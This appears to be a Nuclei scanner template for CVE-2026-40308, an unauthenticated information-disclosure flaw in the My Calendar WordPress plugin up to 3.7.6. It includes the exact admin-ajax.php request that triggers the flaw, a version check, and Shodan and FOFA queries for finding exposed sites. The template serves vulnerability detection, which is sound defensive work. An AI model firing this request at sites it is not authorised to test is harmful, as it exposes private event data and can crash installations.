id: CVE-2026-40308

info:
  name: My Calendar WordPress Plugin - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    My Calendar WordPress plugin <= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.
  impact: |
    Unauthenticated attackers can access private events on multisite or cause denial of service on single site installations.
  remediation: |
    Update to version 3.7.7 or later.
  reference:
    - https://github.com/joedolson/my-calendar/security/advisories/GHSA-2mvx-f5qm-v2ch
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40308
  classification:
    cve-id: CVE-2026-40308
    epss-score: 0.00932
    epss-percentile: 0.55991
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: joedolson
    product: my-calendar
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/my-calendar/"
    fofa-query: body="/wp-content/plugins/my-calendar/" && title="WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,my-calendar,idor,information-disclosure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "My Calendar"
          - "Stable tag:"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?m)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args&site=1"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 3.7.6")'
          - 'contains_all(body, "\"success\":1", "response")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220126d7e538e010b481f5c90d8a7cb50df1facf2bd5c87d287a8a2e921a503903f022100e154ff1ee513061a0096f2f49e7f395779d47b6f4846c32b86790d7fe861c6b8:922c64590222798bb761d5b6d8e72950